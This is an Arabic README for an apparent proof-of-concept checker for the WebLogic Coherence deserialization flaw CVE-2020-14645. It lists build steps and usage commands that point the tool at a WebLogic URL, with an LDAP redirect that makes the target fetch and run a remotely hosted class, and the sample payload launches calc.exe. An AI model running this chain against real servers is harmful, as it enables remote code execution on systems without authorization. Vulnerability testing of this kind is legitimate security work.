برنامج التحقق من ثغرة إلغاء التسلسل Weblogic CVE-2020-14645 coherence

البيئة

• Maven 3

• JDK 1.8

الترجمة

mvn package

الاستخدام

خطوات الاختبار المحددة:

1. كتابة POC
2. ترجمة POC إلى ملف class
3. تشغيل موقع ثابت لنشر POC المترجم
4. تشغيل وكيل LDAP لإعادة توجيه طلبات سحب POC من الهدف الاختباري
5. تنفيذ برنامج الاختبار

نظرًا لأن هذه الثغرة مشابهة لثغرة Apache Dubbo، يُرجى الرجوع إلى تلك الثغرة لتنفيذ الخطوات 1-4.

تنفيذ برنامج الاختبار

java -jar target/CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#CLASS_NAME WEBLOGIC_URL

# مثال
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp http://127.0.0.1:7001
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp https://127.0.0.1:7002

إذا تم استخدام POC المقدم في هذا المثال، فسيتم تنفيذ calc.exe على الهدف الاختباري بعد نجاح الاستغلال. يُرجى تعديل POC بنفسك وفقًا لبيئة الهدف الاختباري.

شكر وتقدير

يستند هذا المشروع ويقتبس جزءًا من كود المشروعين @Y4er و@5up3rc، مع خالص الشكر!

المراجع

https://github.com/Y4er/CVE-2020-14645

https://github.com/5up3rc/weblogic_cmd